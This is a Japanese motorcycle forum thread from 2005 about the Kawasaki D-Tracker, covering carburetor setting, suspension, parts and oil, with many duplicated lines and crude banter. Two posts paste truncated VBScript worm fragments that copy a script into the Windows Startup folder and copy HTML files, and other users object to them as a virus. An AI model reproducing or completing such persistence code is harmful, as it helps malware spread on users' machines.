91 ：７７４ＲＲ：05/02/09 23:49:05 ID:lrUePG9G
車載工具はキヤスメだな。あんなプアで少ない工具で治る壊れ方なんて
ねじの緩みくらいだろ。どうせ壊れたらパーツ屋かバイク屋に行くんだ
から必要なし。車載工具のおかげで助かったって人なんかいるか？
ねじの緩みくらいだろ。どうせ壊れたらパーツ屋かバイク屋に行くんだ
から必要なし。車載工具のおかげで助かったって人なんかいるか？
93 ：７７４ＲＲ：05/02/10 01:31:22 ID:m4vki5wJ
ﾂｰﾙBOXには応急処置用にﾌﾟﾗｸﾞﾚﾝﾁ･ﾒｶﾞﾈﾚﾝﾁ･ﾗｼﾞﾍﾟﾝ･六角ﾚﾝﾁ･ﾀｲﾗｯﾌﾟ･ﾄﾞﾗｲﾊﾞｰetcなど入れてます｡これで結構助かった事あるよ
そうか、セローの工具入れが使えるのか。
でもそれ、”これください’って言って買えるものなの？
よかったら品番を教えてもらうと助かるのですが.
でもそれ、”これください’って言って買えるものなの？
よかったら品番を教えてもらうと助かるのですが.
このスレにウィルス仕込んだの誰だヴォケ！
>94 俺はﾊﾞｲｸ屋で普通に注文したよ｡用品店でもﾊﾟｰﾂﾘｽﾄ見せてもらって注文出来るし
ＦＣＲは良いけど金が無いので、ダイノジェットが気になる今日この頃
ＨＰ巡りまくったがｲﾝﾌﾟﾚ発見できズ
使用者の生の声を聴かせて下さいな
ＨＰ巡りまくったがｲﾝﾌﾟﾚ発見できズ
使用者の生の声を聴かせて下さいな
98 ：７７４ＲＲ：05/02/10 07:40:49 ID:+CTvrNzl
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
99 ：７７４ＲＲ：05/02/10 07:46:31 ID:Zm+kow4g
ダイノジェットいいよ～
やっぱＦＣＲより安価なコッチでしょー。
浮いたお金でメンズエステに行って、フェイスアップ！！
生まれ変わった俺はモテモテ！で今日もデートさ！
やっぱＦＣＲより安価なコッチでしょー。
浮いたお金でメンズエステに行って、フェイスアップ！！
生まれ変わった俺はモテモテ！で今日もデートさ！
100 ：７７４ＲＲ：05/02/10 07:51:03 ID:ZipBEqF2
ヤマハとカワサキは公式サイトでパーツリストが見れる。
そこで値段や部品番号を調べてから、 ウェビックなどで注文。
これで対人恐怖で家に引きこもってても純正部品を取り寄せ出来るよ。
セローのもそうやって取り寄せろ、この包茎どもが！！
そこで値段や部品番号を調べてから、 ウェビックなどで注文。
これで対人恐怖で家に引きこもってても純正部品を取り寄せ出来るよ。
セローのもそうやって取り寄せろ、この包茎どもが！！
>100は良い人
車載工具入れ．．．
コース(オフの）走ってるツレとかにもらえよ。
みんなガレージの肥やしにしてるはズ。
コース(オフの）走ってるツレとかにもらえよ。
みんなガレージの肥やしにしてるはズ。
すまん。Webでパーツが検索できるのはカワサキだけかと思ってた。
お手数かけました。
>この包茎どもが！！
なぜ知ってる‥。
orz
お手数かけました。
>この包茎どもが！！
なぜ知ってる‥。
orz
>>98 ｶﾞｯ!
>>104 Ａ型？
今日前ｻｽちょっといじったらすげー快適！
ｽﾄｯﾋﾟーでﾋｮｺﾋｮｺしないし。
ｽﾄｯﾋﾟーでﾋｮｺﾋｮｺしないし。
みなさんどうも！ＦＣＲ頼むことにします。
友達がＡＲ買うとか言ってるから、多少なりとも対抗できるようにしないとなんで！
ところでＦＣＲはチョークないんすよね？？
てことは暖気をしっかりしなければいけないって事ですかね？
友達がＡＲ買うとか言ってるから、多少なりとも対抗できるようにしないとなんで！
ところでＦＣＲはチョークないんすよね？？
てことは暖気をしっかりしなければいけないって事ですかね？
>>51
レスを読んでて気になったんだが、キャブセッティングの経験とかあるの？
レスを読んでて気になったんだが、キャブセッティングの経験とかあるの？
110 ：７７４ＲＲ：05/02/10 22:25:17 ID:yCIWLqjZ
>>107
何いじったん？
何いじったん？
前ｻｽの上と下にあるの回したよ！
どっちがどっちだったかわかんなかったから今日ﾊﾞｲｸ屋行ったついでに聞いてきた。
上のﾈｼﾞがめいっぱいまで閉めてあったからちょっと緩めて下のは軽く閉めこんだよ！
どっちがどっちだったかわかんなかったから今日ﾊﾞｲｸ屋行ったついでに聞いてきた。
上のﾈｼﾞがめいっぱいまで閉めてあったからちょっと緩めて下のは軽く閉めこんだよ！
このスレに仕込んであるウィルスにはみんな寛容なのね・・。
どうせウィルスコード貼ってるのは同じやつだろうから、
アク禁にしてほしいんだけど
どうすりゃいいのか分からん。
アク禁にしてほしいんだけど
どうすりゃいいのか分からん。
114 ：７７４ＲＲ：05/02/11 00:03:40 ID:+9+7ruke
115 ：７７４ＲＲ：05/02/11 00:09:23 ID:+9+7ruke
117 ：７７４ＲＲ：05/02/11 00:17:51 ID:+9+7ruke
>>116
他の板で、ワンクリ業者のURL仕込んだバカいて、踏まされた。 かなりの人数踏まされて、さすがに通報されてたな。
他の板で、ワンクリ業者のURL仕込んだバカいて、踏まされた。 かなりの人数踏まされて、さすがに通報されてたな。
118 ：７７４ＲＲ：05/02/11 00:18:42 ID:hggy7UPn
護身用としてはちゃんと機能したという、あまり参考にならない例。
俺が中学の頃に住んでた地区は結構治安が悪かったのだが、
何故か俺はあまり怖い目にあった事はなく、
運が悪いのか何なのか知らんが俺の友達はよくカツアゲとかに遭っていた。
そいつはあまりにもカツアゲに遭うんで、いつからか護身用に特殊警棒を持ち歩くようになった。
ある日一人で歩いていると、数名のヤンキーに囲まれ、どこかの駐車場に連れて行かれ、
ボコられそうになった。勇気を出し、いつも持っていた特殊警棒を取り出し、振りかざすと、
すぐさまヤンキーに取られてしまった。その友達はビビりまくった。
しかしそのヤンキーの頭みたいな奴が、いたくその警棒を気に入り、
「おい、これくれや。なあ、くれや」と言ってきたので、「どうぞどうぞ」と差し出すと、
ヤンキーどもは大喜びで、そのまま何もせずに去っていったという。
俺が中学の頃に住んでた地区は結構治安が悪かったのだが、
何故か俺はあまり怖い目にあった事はなく、
運が悪いのか何なのか知らんが俺の友達はよくカツアゲとかに遭っていた。
そいつはあまりにもカツアゲに遭うんで、いつからか護身用に特殊警棒を持ち歩くようになった。
ある日一人で歩いていると、数名のヤンキーに囲まれ、どこかの駐車場に連れて行かれ、
ボコられそうになった。勇気を出し、いつも持っていた特殊警棒を取り出し、振りかざすと、
すぐさまヤンキーに取られてしまった。その友達はビビりまくった。
しかしそのヤンキーの頭みたいな奴が、いたくその警棒を気に入り、
「おい、これくれや。なあ、くれや」と言ってきたので、「どうぞどうぞ」と差し出すと、
ヤンキーどもは大喜びで、そのまま何もせずに去っていったという。
>>112
なんでも、ウィルス駆除ソフトが反応する文字列が含まれていて、
過敏にソフトが反応しているだけらしい。実害はないということ。
それにしても、なんでDトラスレなんだろうね。
DRZスレに、ホンダ信者が嫌がらせするのはわかるけど･･･
なんか05KLX系って妬まれるほどすごい機能つくっけ？
なんでも、ウィルス駆除ソフトが反応する文字列が含まれていて、
過敏にソフトが反応しているだけらしい。実害はないということ。
それにしても、なんでDトラスレなんだろうね。
DRZスレに、ホンダ信者が嫌がらせするのはわかるけど･･･
なんか05KLX系って妬まれるほどすごい機能つくっけ？
120 ：７７４ＲＲ：05/02/11 00:25:36 ID:0mtExbRf
わけわかんねえの仕込まれるは、誤爆されるわで悲惨だなココ
04カラ'05KLXの変更点はエンジン回りの色変更とシェルパ顔じゃなくなったぐらいだ。
122 ：７７４ＲＲ：05/02/11 00:39:03 ID:+9+7ruke
乙！ じゃー上回したって？ 何回したんだろ？
123 ：７７４ＲＲ：05/02/11 00:43:36 ID:+9+7ruke
ま、まさかフォークキャップ緩めたんでは？
自問自答乙！
自問自答乙！
124 ：７７４ＲＲ：05/02/11 00:47:42 ID:0mtExbRf
俺の05モデルの説明書には、下側で調節してくださいって書いてあるけど。
>>109
俺自体はないですけど、
近所の友達が詳しいから最初は手伝ってもらう予定です。
まあキャブとか詳しかったら質問しないで
自分でがんがんやってしまいますけど！！
なので、手ほどきお願いいたします
俺自体はないですけど、
近所の友達が詳しいから最初は手伝ってもらう予定です。
まあキャブとか詳しかったら質問しないで
自分でがんがんやってしまいますけど！！
なので、手ほどきお願いいたします
126 ：７７４ＲＲ：05/02/11 00:53:59 ID:+9+7ruke
それ普通。 上ってのがわからん？
127 ：７７４ＲＲ：05/02/11 01:03:27 ID:+9+7ruke
結局、他車種のネタをこのスレに書き込んだ ってことでケテイ。
寝よ。
寝よ。
上って、フォーク内の気圧調整するヤツだよなぁ？
あぁーそれかなぁ？
ｱﾚっていじっちゃいけなかった？
ｱﾚっていじっちゃいけなかった？
130 ：７７４ＲＲ：05/02/11 09:40:09 ID:HrVsjVwV
良いよ。 問題ない。 内圧を大気圧にするだけ。
正しくは、タイヤを浮かせた状態でネジを緩めて（プシュッと空気が抜けるはず）また締める、と。
132 ：７７４ＲＲ：05/02/11 11:22:57 ID:n913wcIo
自分も改造し始めで色々気になってたんで便乗して質問。
キャブセッティングってまったく経験もないしよくわかんないんだけど、
ttp://www.geocities.co.jp/MotorCity-Pit/4995/cab.htm
ttp://gentuki.lib.net/mente/kyabset2/index.html
こんな感じのHowtoページ見てやれば基本的に大丈夫なの？
それともセッティングに5万とかかかるぐらいでそんな簡単なものじゃないの？
あと、キャブがノーマルのままだと交換するジェットとかってどうしたらいいの？
質問攻めごめんなさい
キャブセッティングってまったく経験もないしよくわかんないんだけど、
ttp://www.geocities.co.jp/MotorCity-Pit/4995/cab.htm
ttp://gentuki.lib.net/mente/kyabset2/index.html
こんな感じのHowtoページ見てやれば基本的に大丈夫なの？
それともセッティングに5万とかかかるぐらいでそんな簡単なものじゃないの？
あと、キャブがノーマルのままだと交換するジェットとかってどうしたらいいの？
質問攻めごめんなさい
133 ：７７４ＲＲ：05/02/11 12:24:59 ID:lz/y/UdK
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
134 ：７７４ＲＲ：05/02/11 13:26:42 ID:HrVsjVwV
英語読めネ～、誰か翻訳汁。
135 ：７７４ＲＲ：05/02/11 13:34:12 ID:FgRfWFOx
翻訳サイトにコピペしたらﾜﾛﾀ
136 ：７７４ＲＲ：05/02/11 13:40:34 ID:HrVsjVwV
風邪の菌、 ってでなかった？
>>132
＞Howtoページ見てやれば基本的に大丈夫なの？
見たけど、キャブセッティングの概略だけだし、トラのキャブとは形状が違うから、
某有名Dトラサイトを参考にするか、丁寧なDトラ改造社外本があるから買いなされ。
特に社外本は写真が豊富で初心者には良い参考書になると思う。
＞それともセッティングに5万とかかかるぐらいでそんな簡単なものじゃないの？
様々な配線を的確に外す根気と、ネジ山を潰さない慎重さがあれば、誰にでもできる(小学生でも可能)
だって平ネジの真ん中に穴があいたジェットとかいうの交換するだけだもの。
ただし、ドライバー類はそれなりに良いやつとサイズが合ったもの失敗しない為に必要。
お店でセッティングに5万近くもかかるのは、同じ装備でも走る地域(標高や北海道か沖縄かとか)、走るクセ、
バイク自体の個体差によりセッティングが違ってくるから。
セッティングの行為自体は簡単だけど、トライアンドエラーの繰り返しでトータルで時間がかかる。
だから時間的費用として5万なのでしょう。あとはノウハウ代。
＞キャブがノーマルのままだと交換するジェットとかってどうしたらいいの？
ノーマルキャブの型番(種類)を調べて、それなりに大きなバイクパーツ店に行って店員に
キャブ名と欲しいジェットを告げれば教えてくれる。教えてくれない店はもう行かなくていいと思う。
キャブ1個だけだし、作業は簡単だから自分でセッティングするのがシングルエンジンの楽しみの一つだと個人的に思うなぁ。
マルチは死ぬほど大変そうなのでお店に丸投げでいいと思うけど・・・
＞Howtoページ見てやれば基本的に大丈夫なの？
見たけど、キャブセッティングの概略だけだし、トラのキャブとは形状が違うから、
某有名Dトラサイトを参考にするか、丁寧なDトラ改造社外本があるから買いなされ。
特に社外本は写真が豊富で初心者には良い参考書になると思う。
＞それともセッティングに5万とかかかるぐらいでそんな簡単なものじゃないの？
様々な配線を的確に外す根気と、ネジ山を潰さない慎重さがあれば、誰にでもできる(小学生でも可能)
だって平ネジの真ん中に穴があいたジェットとかいうの交換するだけだもの。
ただし、ドライバー類はそれなりに良いやつとサイズが合ったもの失敗しない為に必要。
お店でセッティングに5万近くもかかるのは、同じ装備でも走る地域(標高や北海道か沖縄かとか)、走るクセ、
バイク自体の個体差によりセッティングが違ってくるから。
セッティングの行為自体は簡単だけど、トライアンドエラーの繰り返しでトータルで時間がかかる。
だから時間的費用として5万なのでしょう。あとはノウハウ代。
＞キャブがノーマルのままだと交換するジェットとかってどうしたらいいの？
ノーマルキャブの型番(種類)を調べて、それなりに大きなバイクパーツ店に行って店員に
キャブ名と欲しいジェットを告げれば教えてくれる。教えてくれない店はもう行かなくていいと思う。
キャブ1個だけだし、作業は簡単だから自分でセッティングするのがシングルエンジンの楽しみの一つだと個人的に思うなぁ。
マルチは死ぬほど大変そうなのでお店に丸投げでいいと思うけど・・・
おまえらいいかげんに反応するのやめれ。
反応が嬉しくてはってるだけだろ。
反応が嬉しくてはってるだけだろ。
>>132
ttp://home.f04.itscom.net/nikotama/D-traker/home/D-Traker_Tune_20040327.htm
↑まあまあ参考になるよ。
自分でやると、最初はそれなりに時間かかるから、頑張ってね。
ちなみに、僕は初めてやったとき4時間ぐらいかかったかな・・・orz
ttp://home.f04.itscom.net/nikotama/D-traker/home/D-Traker_Tune_20040327.htm
↑まあまあ参考になるよ。
自分でやると、最初はそれなりに時間かかるから、頑張ってね。
ちなみに、僕は初めてやったとき4時間ぐらいかかったかな・・・orz
>>84
このバイクどう弄ったってたかが知れてるよ。
そんなん早いバイクがいいなら，ハスクかフサでも買え。
弄ったところで，満足できるのは同じバイクと張った時だけだよw
ちなみに俺は０３黒オーナーもちノーマルね
このバイクどう弄ったってたかが知れてるよ。
そんなん早いバイクがいいなら，ハスクかフサでも買え。
弄ったところで，満足できるのは同じバイクと張った時だけだよw
ちなみに俺は０３黒オーナーもちノーマルね
142 ：７７４ＲＲ：05/02/11 22:36:09 ID:n6eRnEan
そうでも無いと思うけど？2ストとか、大排気量車より唐突にパワー出ないからｿｺｿｺ行けるんじゃないかな？一般道でも140出ればｿｺｿｺかもれるけど
ＦＣＲやボアアップするくらいなら、売ってＳＭ買うね。
144 ：７７４ＲＲ：05/02/11 23:21:53 ID:FXRgke/H
なんかこのバイク、ストリート系みたいにカテゴライズされて、
いじり放題みたいになった時点でなんか自分でいじる楽しみみたいの半減したよなぁ
パーツほとんど出てない不人気車からしたら贅沢な悩みかもしれんが
いじり放題みたいになった時点でなんか自分でいじる楽しみみたいの半減したよなぁ
パーツほとんど出てない不人気車からしたら贅沢な悩みかもしれんが
2stといえば、NSRでいくらぶん回しても、
オフかモタでぶん回すのに比べたら、全然面白くないんだよなー。
NSR最初は面白いと思ったけど、なんかつまんないんだよな。
俺はＤトラだけど、乗ってて、やっぱり良いね！
これで早けりゃなお良いね！
以上、私がＤトラを買った理由でした
オフかモタでぶん回すのに比べたら、全然面白くないんだよなー。
NSR最初は面白いと思ったけど、なんかつまんないんだよな。
俺はＤトラだけど、乗ってて、やっぱり良いね！
これで早けりゃなお良いね！
以上、私がＤトラを買った理由でした
146 ：７７４ＲＲ：05/02/12 00:03:53 ID:0eB+jk78
142だけど、漏れはﾋﾞｰﾄﾌﾙｷｯﾄにFCR35にｹｲﾌｧｸが今の使用だけど別に不満ない。街中(昼間)、峠(ﾀｲﾄｺｰﾅｰが多い所)ではﾃﾞｶｲのとか、2ストかもれるし。それに、車検が面倒で250買ったからなぁ。
147 ：７７４ＲＲ：05/02/12 00:05:21 ID:0eB+jk78
これくらいやってればﾏﾌﾗｰとｷｬﾌﾞ変えたくらいのSMにはなんとか着いて行けるんじゃないかな？
D虎厨に占拠されたこのスレはもう放棄しよう。
149 ：７７４ＲＲ：05/02/12 00:16:48 ID:FFpIiJzR
>>147
本気でそう思ってるんだったら、ある意味幸せかもな。
本気でそう思ってるんだったら、ある意味幸せかもな。
DR-Z400SMのノーマルまでだと思う。(直線の話だよね)
換えたSMには置いていかれると思いますよ。
ふよふなら違うけど
換えたSMには置いていかれると思いますよ。
ふよふなら違うけど
151 ：７７４ＲＲ：05/02/12 00:54:47 ID:0eB+jk78
315だよ。
上を見れば限りが無いからな｡この排気量で直線のｽﾋﾟｰﾄﾞ争っても仕方ないし!
俺は足回りに金かけてｺｰﾅｰﾘﾝｸﾞﾏｼﾝにしてます
俺は足回りに金かけてｺｰﾅｰﾘﾝｸﾞﾏｼﾝにしてます
んー、でもSM試乗したけど、思ったより全然速いぞ…。
弄ってあれに勝てたとしても、必死すぎて、なんか。
弄ってあれに勝てたとしても、必死すぎて、なんか。
154 ：７７４ＲＲ：05/02/12 01:06:00 ID:0eB+jk78
直線のスピードなんか競うわけないよ。直線番長なるなら他のに海苔升。まあ、後は腕次第かな？SM乗っても遅けりゃ意味ない。
てか腕で勝てよ…
俺も足回りにはお金かけたからコーナー楽しいよ。
でもそれ以外で飛ばす気にならないなぁ。
マフラーの音にも左右されるけどね。
で、話変わるけど3月13日は浜松に走りに行くの？
でもそれ以外で飛ばす気にならないなぁ。
マフラーの音にも左右されるけどね。
で、話変わるけど3月13日は浜松に走りに行くの？
157 ：７７４ＲＲ：05/02/12 01:50:46 ID:Yoy84iPy
浜松にもあるんだ？ モタードのコース。
159 ：７７４ＲＲ：05/02/12 01:55:01 ID:Y4oFc6Vf
>158 申請してるﾔｼなんているのか？
160 ：７７４ＲＲ：05/02/12 01:57:45 ID:Yoy84iPy
まず、逝ね～。
161 ：７７４ＲＲ：05/02/12 01:59:39 ID:Yoy84iPy
レーサーでナンバー取得は結構いる。
163 ：７７４ＲＲ：05/02/12 15:00:37 ID:bZ4LG9Om
315と292は、乗って違いが分かる？
↑知らんがなAA(rya
漏れも知りたいです(･人･)ｵﾅｶﾞｲｼﾏｽ!
漏れも知りたいです(･人･)ｵﾅｶﾞｲｼﾏｽ!
165 ：７７４ＲＲ：05/02/12 16:47:12 ID:+7lKBCXs
タンデムステップのすぐ下の内側についてるローラー?みたいなのはなんなのでしょうか？
167 ：７７４ＲＲ：05/02/12 17:29:52 ID:eUCEfCQV
ロォーーーーラァーーーー
170 ：７７４ＲＲ：05/02/12 17:49:53 ID:eUCEfCQV
ごめん、使い方がわからん。小学生のとき付けてた
補助輪とは違うもんなぁ。
補助輪とは違うもんなぁ。
スイングアームがごっついストロークしたときにチェーンが車体側に
アレするのをナニする装置さ
アレするのをナニする装置さ
リアサスが下がりきった時、チェーンとフレームが干渉しないためのガードじゃない？
と、街海苔の人の勝手な想像。
と、街海苔の人の勝手な想像。
173 ：７７４ＲＲ：05/02/12 18:06:18 ID:oQC0Otf+
174 ：７７４ＲＲ：05/02/12 18:06:51 ID:7vO1vbV9
ウッホ！
>>173
ｳﾎｯ偉そうなｶｽ！
ｳﾎｯ偉そうなｶｽ！
176 ：７７４ＲＲ：05/02/12 23:07:20 ID:Yoy84iPy
他の板ならまだしも、何でバイク板でこうなるかなー？ 解らん。
177 ：７７４ＲＲ：05/02/12 23:18:31 ID:Yoy84iPy
>>162
トンクス！ 浜松オートってあるけど、レース場の駐車場を特設コースにするってこと？
オートレースのコース内に特設するってことじゃないよねー？
コース使うとすると物凄いバンク付いてると思うんだけど。
トンクス！ 浜松オートってあるけど、レース場の駐車場を特設コースにするってこと？
オートレースのコース内に特設するってことじゃないよねー？
コース使うとすると物凄いバンク付いてると思うんだけど。
逆切れミットモナイ！
水溜りなどでハネるのが嫌でダウンフェンダー付けたいのだが結構高いよな。（２マンくらい）
つーわけで某レーサーレプリカの純正フェンダーを流用したいと思う。（新品で６センくらい）
さっき注文したので乞うご期待。
つーわけで某レーサーレプリカの純正フェンダーを流用したいと思う。（新品で６センくらい）
さっき注文したので乞うご期待。
家が遠くて行けないんだよね。
ええかげん九州でもイベントして欲しい。
関東やら東海やら関西やらだけな気がする
ええかげん九州でもイベントして欲しい。
関東やら東海やら関西やらだけな気がする
>>182
前スレにウルフ250(同型のRGV-γでも可能)のRフェンダーつけてる人はいたね。
ところどころカットが必要らしい。加工する人の腕次第だけどかっこよかったよ。
>>179氏には是非、γのFフェンダーに挑戦して欲しい。
くっつきそうな大きさだし。
前スレにウルフ250(同型のRGV-γでも可能)のRフェンダーつけてる人はいたね。
ところどころカットが必要らしい。加工する人の腕次第だけどかっこよかったよ。
>>179氏には是非、γのFフェンダーに挑戦して欲しい。
くっつきそうな大きさだし。
184 ：７７４ＲＲ：05/02/13 08:42:34 ID:2kc1EQl1
ﾋﾞｷﾞﾅｰですまんが
Rｻｽの調節ってどうやるの?
あのｺﾞｰﾙﾄﾞのねじみたいなの回すの…ﾜｶﾝﾈ
Fはできるんでしょうか?
D虎です
Rｻｽの調節ってどうやるの?
あのｺﾞｰﾙﾄﾞのねじみたいなの回すの…ﾜｶﾝﾈ
Fはできるんでしょうか?
D虎です
185 ：７７４ＲＲ：05/02/13 09:51:11 ID:RVkay8GS
>>184
取説嫁！
取説嫁！
ちょっと質問が。DﾄﾗにFCR30つけてみた(まだ納車してない)んだけどさ
結構全開近く開けてないとｶﾌﾞるもん？｡+ﾟ:｡(ﾉﾛ`)*.ﾟ。
今までﾓﾝｷｰとかいじってて乗ってたから250ってよくわかんないんだわ。
教えてえろめな人。
結構全開近く開けてないとｶﾌﾞるもん？｡+ﾟ:｡(ﾉﾛ`)*.ﾟ。
今までﾓﾝｷｰとかいじってて乗ってたから250ってよくわかんないんだわ。
教えてえろめな人。
>>185取説どっかいってﾐﾂｶﾝﾈ('A`)
>>184
そのくらいの事も自分で調べられないレベルなら、
悪いことは言わんイジルな
>>186
今までﾓﾝｷｰとかいじっててそのレベルなら、
悪いことは言わんノーマルに戻せ
なんだコイツラ('A`)
そのくらいの事も自分で調べられないレベルなら、
悪いことは言わんイジルな
>>186
今までﾓﾝｷｰとかいじっててそのレベルなら、
悪いことは言わんノーマルに戻せ
なんだコイツラ('A`)
189 ：７７４ＲＲ：05/02/13 12:15:27 ID:6gMDBnMQ
FCRの33とか35は良く聞くけど30なんてあるのか？
190 ：７７４ＲＲ：05/02/13 13:01:16 ID:WKRF/j72
184
リヤサスの別体ガスのタンク？の付寝の所にネジがあるのでそれを回すと減衰力が変わるんです。
フロントは下にある黒いキャップを盗ると出てくるのでそれを回すと減衰力が変わるはず。どっち回すかは、忘れたんで少しずつやってみ。
リヤサスの別体ガスのタンク？の付寝の所にネジがあるのでそれを回すと減衰力が変わるんです。
フロントは下にある黒いキャップを盗ると出てくるのでそれを回すと減衰力が変わるはず。どっち回すかは、忘れたんで少しずつやってみ。
191 ：７７４ＲＲ：05/02/13 14:49:44 ID:NTS82KAG
>>189しらねー。ま、あってもﾏｽﾞ付けないよ。あんまりメリット無さそうだから。ﾉｰﾏﾙの排気量ならFCR33でちょうど良いのでは？
192 ：７７４ＲＲ：05/02/13 15:06:07 ID:lJHODzWo
オーリンズのリアサス付けた人います？
７万で販売してますが、迷ってます
７万で販売してますが、迷ってます
193 ：７７４ＲＲ：05/02/13 16:02:41 ID:6gMDBnMQ
194 ：ひみつの検疫さん：2025/03/24(月) 00:15:45 ID:MarkedRes
汚染を除去しました。
>>188
つまんねぇﾚｽつけるなぁ君はw
こら君のﾊﾞｲｸはｽﾍﾟｼｬﾙﾁｭｰﾝなのかな
へたれは黙ってｷｬﾌﾞのOHでもしてろよ(ﾌﾟｹﾞﾗｯﾁｮ
さいきんこんな馬鹿ばっかで参るよ、教えて古参気取り
すませんな猿あがりで。
>>191
あるわけねぇだろｳﾞｫｹw
つまんねぇﾚｽつけるなぁ君はw
こら君のﾊﾞｲｸはｽﾍﾟｼｬﾙﾁｭｰﾝなのかな
へたれは黙ってｷｬﾌﾞのOHでもしてろよ(ﾌﾟｹﾞﾗｯﾁｮ
さいきんこんな馬鹿ばっかで参るよ、教えて古参気取り
すませんな猿あがりで。
>>191
あるわけねぇだろｳﾞｫｹw
197 ：７７４ＲＲ：05/02/14 00:15:11 ID:3rRbfs4O
俺のDトラはボアアップ以外はノーマルさ～
通学最速！！
通学最速！！
199 ：７７４ＲＲ：05/02/14 00:22:42 ID:MRpiVPa0
確かに２ｓｔのスクーター乗ったヤツは駐車場からの離脱が無茶速いｗ
200 ：７７４ＲＲ：05/02/14 00:40:53 ID:J/LInLkf
ひったくりやらしても、モンゴル君のDIOが一番だな！！
201 ：７７４ＲＲ：05/02/14 01:31:26 ID:Oo3CjLIC
'04からリムサイズが4インチになっているけど履いているタイアは
～'03と同じだと気づいた。4インチだと履き替える時は140か150の
方が良いですか？
～'03と同じだと気づいた。4インチだと履き替える時は140か150の
方が良いですか？
4インチなんて良いわけねぇだろ。3.5インチが最高だ
いい機械だから俺の3.5インチと交換してやってもいいぞ
いい機械だから俺の3.5インチと交換してやってもいいぞ
203 ：７７４ＲＲ：05/02/14 01:40:48 ID:54lMYi2s
>>202ひがむな。藻前はもう負け組だ
204 ：７７４ＲＲ：05/02/14 11:16:10 ID:fTV5PurK
黒の車体に、シュラウドだけ純正の緑とか黄に交換するのってダサイかな？
参考画像とかありませんかね
参考画像とかありませんかね
黒ならいいんじゃい？
青(車体)なら変だと思うけど
青(車体)なら変だと思うけど
206 ：７７４ＲＲ：05/02/14 13:12:48 ID:ovsQQBlK
俺の青。 人からもらったグリーンのハイシート、想像して味噌！
やっぱ変だよな～？
やっぱ変だよな～？
貼ってみて→交換してみて onz
ハスクっぽくは、、、ならんか
>>204
シュラウドとフェンダーの色が違うのは違和感あるかも。
シュラウドとフェンダーの色が違うのは違和感あるかも。
ttp://www.eonet.ne.jp/~powersports/
ここのｺﾝﾌﾟﾘｰﾄｶｰに色々な色がある、青黄とか青黒とか白黒とか・・・
ここのｺﾝﾌﾟﾘｰﾄｶｰに色々な色がある、青黄とか青黒とか白黒とか・・・
カスタムなんて人それぞれなんだから、気にしてたらできんよ。
白ベースで青いれてもきれいだろうし、白黒でも黒オレンジでも好きにすればいい。
バランス感覚はいるけど。
白ベースで青いれてもきれいだろうし、白黒でも黒オレンジでも好きにすればいい。
バランス感覚はいるけど。
214 ：７７４ＲＲ：05/02/14 21:04:08 ID:R6oh5m7/
ヘッドライト付近以外にウインカー付けるとしたら
具体的にどういう風にするのがいいと思いますか？
具体的にどういう風にするのがいいと思いますか？
ヘルメットに
なんかの雑誌でフォークに巻くタイプのしてる人いたけど
スッキリしててよかったよ
それが法的にokなのかは知らんけどｗ
スッキリしててよかったよ
それが法的にokなのかは知らんけどｗ
217 ：７７４ＲＲ：05/02/14 21:57:55 ID:/9Pe4om1
オーリンズのサスって売れてないのかな？
オーリンズのサスを買うような御方は始めからDトラなど
219 ：７７４ＲＲ：05/02/14 22:46:28 ID:54lMYi2s
>>216法的にダメです。LEDが4～5粒位並んだやつもあるみたいだけどそれもダメです。付けようと思って調べたがｳｨﾝｶｰの基準に満たないからやめました
220 ：７７４ＲＲ：05/02/14 23:04:26 ID:N03Gz3dm
当方Dトラのりなのですが
初歩的な質問なのですが
オイル交換の際に必要なオイルの量を
教えてください。フィルター交換もするため。
純正２つでは少ないですか？
現在は３５０ｃｃにぼああっぷしています
初歩的な質問なのですが
オイル交換の際に必要なオイルの量を
教えてください。フィルター交換もするため。
純正２つでは少ないですか？
現在は３５０ｃｃにぼああっぷしています
221 ：みるく ◆GASNOWzado ：05/02/14 23:19:34 ID:wtOpww2p
>>220氏
フィルター交換有りは1.4L、無しは1.3Lです
350ってストローカー？
耐久性大丈夫なのかな？
ってか、その仕様でオイル純正は駄目だと思うよ。
もっとハイグレードなのを短いサイクルで交換しましょう。
フィルター交換有りは1.4L、無しは1.3Lです
350ってストローカー？
耐久性大丈夫なのかな？
ってか、その仕様でオイル純正は駄目だと思うよ。
もっとハイグレードなのを短いサイクルで交換しましょう。
222 ：７７４ＲＲ：05/02/14 23:23:20 ID:54lMYi2s
ｽﾄﾛｰｶｰのｷｯﾄ内容ってってﾋﾟｽﾄﾝとｸﾗﾝｸとｼﾘﾝﾀﾞｰだけ？
>>220
マニュアル値は1.3Lかもしれないけど実際には1Lとか1.2Lだったりするから要注意。
サイドスタンドで傾けたままだと完全に抜けにくいしね。
俺は容器2つ用意して抜けた分入れてる。（ペットボトルの上ぶった切った奴）
もちろん最後はゲージで確認だけどな。
マニュアル値は1.3Lかもしれないけど実際には1Lとか1.2Lだったりするから要注意。
サイドスタンドで傾けたままだと完全に抜けにくいしね。
俺は容器2つ用意して抜けた分入れてる。（ペットボトルの上ぶった切った奴）
もちろん最後はゲージで確認だけどな。
ストローカーって331ccじゃなかったっけ？
つうか、オイルの量も知らねえのによくそんなキット組むな。
信じられねえ。
つうか、オイルの量も知らねえのによくそんなキット組むな。
信じられねえ。
バイクに限った事じゃないが、最近「金出しゃ何でも出来る」と思ってるﾔﾂ多すぎ
自分にその資格があるのか自分で判断できないっつうか
自分にその資格があるのか自分で判断できないっつうか
226 ：７７４ＲＲ：05/02/14 23:37:11 ID:XWx61eS4
228 ：みるく ◆GASNOWzado ：05/02/14 23:44:05 ID:wtOpww2p
>ストローカーって331ccじゃなかったっけ？
いろいろな排気量のが有ったと思う。
最大は365じゃなかったかな？
ただ300越えると、ガスケットの吹き抜け等のトラブルが多いと聞いた。
有る意味純正300がベストかもと。
それとキット組んだ中古買ったんじゃないかな？>220氏は
>>223氏
1Lは残油大杉じゃないかな？
特にフィルター変えてでは。
車種によって差があるかもしれんけど、ヲイラのは1.3～1.4位入る。
2リッター缶をジョッキに移してだから、ジョッキのメモリに狂い有るかもしれんけど。
ちなみにゲージMAXのちょっと下まで入れてます。
いろいろな排気量のが有ったと思う。
